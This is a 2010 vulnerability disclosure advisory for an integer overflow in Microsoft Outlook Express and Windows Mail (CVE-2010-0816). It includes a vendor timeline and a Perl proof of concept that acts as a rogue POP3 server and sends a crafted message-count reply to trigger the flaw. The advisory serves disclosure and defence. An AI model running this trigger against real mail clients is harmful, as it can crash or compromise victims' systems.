Microsoft Windows Outlook Express and Windows Mail - Integer Overflow

Application:   Microsoft Outlook Express
Microsoft Windows Mail

Platforms:   Windows 2000
Windows XP
Windows Vista
Windows server 2003
Windows Server 2008 SR2

Exploitation:   Remote Exploitable   

CVE Number:   CVE-2010-0816

Discover Date:   2009-09-11

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com   


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1) Introduction
2) Report Timeline
3) Technical details
4) Products affected
5) The Code


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=================
1) Introduction
=================

Windows Mail is an e-mail  and newsgroup client included in Windows Vista, that was superseded by Windows Live Mail.

It is the successor to Outlook Express. Microsoft previewed Windows Mail on Channel 9 on October 10, 2005.[1]

Unlike Outlook Express, Windows Mail is not considered to be a component of Internet Explorer. As such, it will not

be made available for earlier Windows operating systems, while Windows Internet Explorer 7 was made available for

Windows XP.

Windows Mail has been succeeded by Windows Live Mail, which was built by the same development team as Windows Mail

and also serves as the replacement for Outlook Express for Windows XP.

(Wikipedia)
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====================
2) Report Timeline
====================

2009-11-09  Vendor Contacted
2009-11-09  Vendor Response
2009-11-16  Vendor request a PoC
2009-11-16  PoC is send
2009-11-19  Vendor confirme they received PoC
2009-11-24  Vendor confirm the vulnerability
2010-05-11  Public release of this advisory 

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======================
3) Technical details
======================

An unauthenticated remote code execution vulnerability exists in the way that the Windows Mail Client software

handles specially crafted mail responses. An attempt to exploit the vulnerability would not require authentication,

allowing an attacker to exploit the vulnerability by sending a specially crafted response to a client initiating a

connection to a server under his control using the common mail protocols.


The vulnerability is caused by a common library used by Outlook Express and Windows Mail insufficiently validating

network data before using that data to calculate the necessary size of a buffer.



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4) Product affected
=====================

Mail client;   Microsoft Outlook Express & Microsoft Windows Mail
Plateforms;   Vista SP1 & Windows Server 2008 SP1

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=============
5) The Code
=============


#!/usr/bin/perl -w
# Found by Francis Provencher for Protek Research Lab's
# {PRL} Microsoft Windows Mail CLient & outlook express Remote Integer Overflow
#



use IO::Socket;

$port = 110;

$serv = IO::Socket::INET->new(Proto=>'tcp',
LocalPort=>$port,
Listen=>1)
or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";


$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK 357913944 100\r\n");